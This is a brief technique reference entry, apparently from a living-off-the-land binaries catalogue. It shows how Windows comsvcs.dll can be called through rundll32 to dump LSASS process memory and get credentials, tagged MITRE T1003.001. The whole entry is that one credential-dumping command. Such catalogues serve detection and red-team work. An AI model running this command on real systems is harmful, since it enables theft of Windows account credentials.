Comsvcs.dll

COM+ Services

Dump

Dump Lsass.exe process memory to retrieve credentials.

rundll32 C:\windows\system32\comsvcs.dll MiniDump {LSASS_PID} dump.bin full

Calls the MiniDump exported function of comsvcs.dll, which in turns calls MiniDumpWriteDump. — MITRE: T1003.001 — Privileges: SYSTEM